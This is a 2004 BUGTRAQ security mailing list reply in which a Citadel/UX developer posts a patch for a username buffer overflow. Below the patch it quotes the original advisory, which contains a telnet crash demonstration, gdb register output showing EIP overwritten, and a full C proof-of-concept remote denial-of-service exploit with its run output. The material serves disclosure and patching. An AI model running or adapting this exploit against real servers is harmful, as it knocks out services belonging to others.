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Re: Citadel/UX Remote DoS Vulnerability
- To: BUGTRAQ <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: Re: Citadel/UX Remote DoS Vulnerability
- From: error@xxxxxxxxxxx (IO ERROR)
- Date: Sat, 31 Jul 2004 18:33:10 -0500
For the record, none of the Citadel developers ever received a
communication from this person. This advisory was posted to our
bugzilla system at about the same time it was sent to BUGTRAQ.
A patch for this vulnerability has been placed into CVS and will be
included in the next release of Citadel. It should apply cleanly to
releases earlier than 6.23, or it's simple enough to do manually.
The patch is included here:
--- user_ops.c 6 Jul 2004 18:15:06 -0000
+++ user_ops.c 31 Jul 2004 23:26:31 -0000
@@ -358,7 +358,7 @@
struct recptypes *valid = NULL;
if (trythisname == NULL) return login_not_found;
- safestrncpy(username, trythisname, sizeof username);
+ safestrncpy(username, trythisname, USERNAME_SIZE);
strproc(username);
if ((CC->logged_in)) {
@@ -372,7 +372,7 @@
* is an e-mail address
*/
if (found_user != 0) {
- valid = validate_recipients(trythisname);
+ valid = validate_recipients(username);
if (valid != NULL) {
if (valid->num_local == 1) {
found_user = getuser(&CC->user,
The Citadel/UX development team can be contacted at devel@xxxxxxxxxxx
On Sat, 31 Jul 2004 18:20:01 -0500, CoKi <coki@xxxxxxxxxxxxxxx> wrote:
> -------------------------------------------------
>
> No System Group - Advisory #04 - 28/07/04
>
> -------------------------------------------------
>
> Program: Citadel/UX
>
> Homepage: http://www.citadel.org
>
> Operating System: Linux and Unix-Compatible
>
> Vulnerable Versions: Citadel/UX v6.23 and prior
>
> Risk: Medium / High
>
> Impact: Remote Denial of Service Vulnerability
>
> -------------------------------------------------
>
> - DESCRIPTION
>
> -------------------------------------------------
>
> Citadel/UX is an advanced client/server messaging and
>
> collaboration system for BBS and groupware applications.
>
> Users can connect to Citadel/UX using any telnet, WWW,
>
> or client software. Among the features supported are
>
> public and private message bases (rooms), electronic
>
> mail, real-time chat, paging, etc. The server is
>
> multithreaded and can easily support a large number of
>
> concurrent users. In addition, SMTP, IMAP, and POP3
>
> servers are built-in for easy connection to Internet
>
> mail. Citadel/UX is both robust and mature, having been
>
> developed over the course of the past thirteen years.
>
> More informations at: http://www.citadel.org
>
> - DETAILS
>
> -------------------------------------------------
>
> When sending a USER to Citadel/UX (port 504) longer than
>
> 97 bytes, an overflow will occur and EIP will be
>
> overwriten.
>
> coki@servidor:~$ telnet localhost 504
>
> Trying 127.0.0.1...
>
> Connected to localhost.
>
> Escape character is '^]'.
>
> 200 servidor Citadel/UX server ready.
>
> USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>
> AAA
>
> Connection closed by foreign host.
>
> coki@servidor:~$
>
> Now we proceed to open gdb to view what may have occured.
>
> root@servidor:~# ps -ax | grep "citserver -d"
>
> 20147 pts/2 S 0:00 /usr/local/citadel/citserver -d
>
> root@servidor:~# gdb citserver 20147
>
> GNU gdb 5.3
>
> Copyright 2002 Free Software Foundation, Inc.
>
> GDB is free software, covered by the GNU General Public
>
> License, and you are welcome to change it and/or distribute
>
> copies of it under certain conditions.
>
> Type "show copying" to see the conditions.
>
> There is absolutely no warranty for GDB. Type "show
>
> warranty" for details. This GDB was configured as
>
> "i386-slackware-linux"...citserver: No such file or directory.
>
> Attaching to process 20147
>
> Reading symbols from /usr/local/citadel/citserver...done.
>
> Reading symbols from /lib/libpthread.so.0...done.
>
> Loaded symbols for /lib/libpthread.so.0
>
> Reading symbols from /lib/libncurses.so.5...done.
>
> Loaded symbols for /lib/libncurses.so.5
>
> Reading symbols from /lib/librt.so.1...done.
>
> Loaded symbols for /lib/librt.so.1
>
> Reading symbols from /usr/lib/libz.so.1...done.
>
> Loaded symbols for /usr/lib/libz.so.1
>
> Reading symbols from /lib/libresolv.so.2...done.
>
> Loaded symbols for /lib/libresolv.so.2
>
> Reading symbols from /lib/libc.so.6...done.
>
> Loaded symbols for /lib/libc.so.6
>
> Reading symbols from /lib/ld-linux.so.2...done.
>
> Loaded symbols for /lib/ld-linux.so.2
>
> Reading symbols from /lib/libnss_compat.so.2...done.
>
> Loaded symbols for /lib/libnss_compat.so.2
>
> Reading symbols from /lib/libnsl.so.1...done.
>
> Loaded symbols for /lib/libnsl.so.1
>
> 0x401072e1 in sigpending () from /lib/libc.so.6
>
> (gdb) c
>
> Continuing.
>
> Program received signal SIG32, Real-time event 32.
>
> 0x401072e1 in sigpending () from /lib/libc.so.6
>
> (gdb) c
>
> Continuing.
>
> Program received signal SIGSEGV, Segmentation fault.
>
> 0x61616161 in ?? ()
>
> (gdb) i r esp ebp eip
>
> esp 0xbfffc890 0xbfffc890
>
> ebp 0x61616161 0x61616161
>
> eip 0x61616161 0x61616161
>
> (gdb) q
>
> The program is running. Quit anyway (and detach it)? (y or n) y
>
> Detaching from program: /usr/local/citadel/citserver, process 20147
>
> root@servidor:~#
>
> The server does a tolower() (converts an uppercase letter to the
>
> corresponding lowercase letter) on the buffer before the overflow
>
> occurs, thus limiting the number of instructions we can use.
>
> - EXPLOIT
>
> -------------------------------------------------
>
> ----------------- citadel_dos.c -----------------
>
> /* citadel_dos.c
>
> *
>
> * Citadel/UX Remote DoS exploit (Proof of Concept)
>
> *
>
> * Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
>
> *
>
> * by CoKi <coki@xxxxxxxxxxxxxxx>
>
> * No System Group - http://www.nosystem.com.ar
>
> */
>
> #include <stdio.h>
>
> #include <stdlib.h>
>
> #include <unistd.h>
>
> #include <errno.h>
>
> #include <string.h>
>
> #include <getopt.h>
>
> #include <netdb.h>
>
> #include <sys/types.h>
>
> #include <sys/fcntl.h>
>
> #include <netinet/in.h>
>
> #include <sys/socket.h>
>
> #define BUFFERSIZE 96+1
>
> #define ERROR -1
>
> #define TIMEOUT 3
>
> #define PORT 504
>
> int connect_timeout(int sfd, struct sockaddr *serv_addr,
>
> socklen_t addrlen, int timeout);
>
> void use(char *program);
>
> int main(int argc, char *argv[]) {
>
> char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];
>
> int sockfd;
>
> struct hostent *he;
>
> struct sockaddr_in dest_dir;
>
> if(argc != 2) use(argv[0]);
>
> p = buffer;
>
> printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");
>
> printf(" by CoKi <coki@xxxxxxxxxxxxxxx>\n\n");
>
> memset(p, 'A', 96);
>
> p += 92;
>
> *p = '\0';
>
> printf(" [+] verifying host:\t");
>
> fflush(stdout);
>
> if((he=gethostbyname(argv[1])) == NULL) {
>
> herror("Error");
>
> printf("\n");
>
> exit(1);
>
> }
>
> printf("OK\n");
>
> if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
>
> perror("Error");
>
> printf("\n");
>
> exit(1);
>
> }
>
> dest_dir.sin_family = AF_INET;
>
> dest_dir.sin_port = htons(PORT);
>
> dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
>
> bzero(&(dest_dir.sin_zero), 8);
>
> printf(" [+] conecting...\t");
>
> fflush(stdout);
>
> if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
>
> sizeof(struct sockaddr), TIMEOUT) == ERROR) {
>
> printf("Closed\n\n");
>
> exit(1);
>
> }
>
> printf("OK\n");
>
> printf(" [+] sending exploit...\t");
>
> fflush(stdout);
>
> recv(sockfd, temp, sizeof(temp), 0);
>
> send(sockfd, "USER ", 5, 0);
>
> send(sockfd, buffer, strlen(buffer), 0);
>
> send(sockfd, "\n", 1, 0);
>
> close(sockfd);
>
> printf("OK\n\n");
>
> }
>
> int connect_timeout(int sfd, struct sockaddr *serv_addr,
>
> socklen_t addrlen, int timeout) {
>
> int res, slen, flags;
>
> struct timeval tv;
>
> struct sockaddr_in addr;
>
> fd_set rdf, wrf;
>
> fcntl(sfd, F_SETFL, O_NONBLOCK);
>
> res = connect(sfd, serv_addr, addrlen);
>
> if (res >= 0) return res;
>
> FD_ZERO(&rdf);
>
> FD_ZERO(&wrf);
>
> FD_SET(sfd, &rdf);
>
> FD_SET(sfd, &wrf);
>
> bzero(&tv, sizeof(tv));
>
> tv.tv_sec = timeout;
>
> if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
>
> return -1;
>
> if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
>
> slen = sizeof(addr);
>
> if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
>
> return -1;
>
> flags = fcntl(sfd, F_GETFL, NULL);
>
> fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
>
> return 0;
>
> }
>
> return -1;
>
> }
>
> void use(char *program) {
>
> printf("Use: %s <host>\n", program);
>
> exit(1);
>
> }
>
> ----------------- citadel_dos.c -----------------
>
> coki@servidor:~$ make citadel_dos
>
> coki@servidor:~$ ./citadel_dos localhost
>
> Citadel/UX Remote DoS exploit (Proof of Concept)
>
> by CoKi <coki@xxxxxxxxxxxxxxx>
>
> [+] verifying host: OK
>
> [+] conecting... OK
>
> [+] sending exploit... OK
>
> coki@servidor:~$
>
> - SOLUTIONS
>
> -------------------------------------------------
>
> Vendor contacted but does not answer
>
> - REFERENCES
>
> -------------------------------------------------
>
> http://www.nosystem.com.ar/advisories/advisory-04.txt
>
> - CREDITS
>
> -------------------------------------------------
>
> Discovered by CoKi <coki@xxxxxxxxxxxxxxx>
>
> No System Group - http://www.nosystem.com.ar
>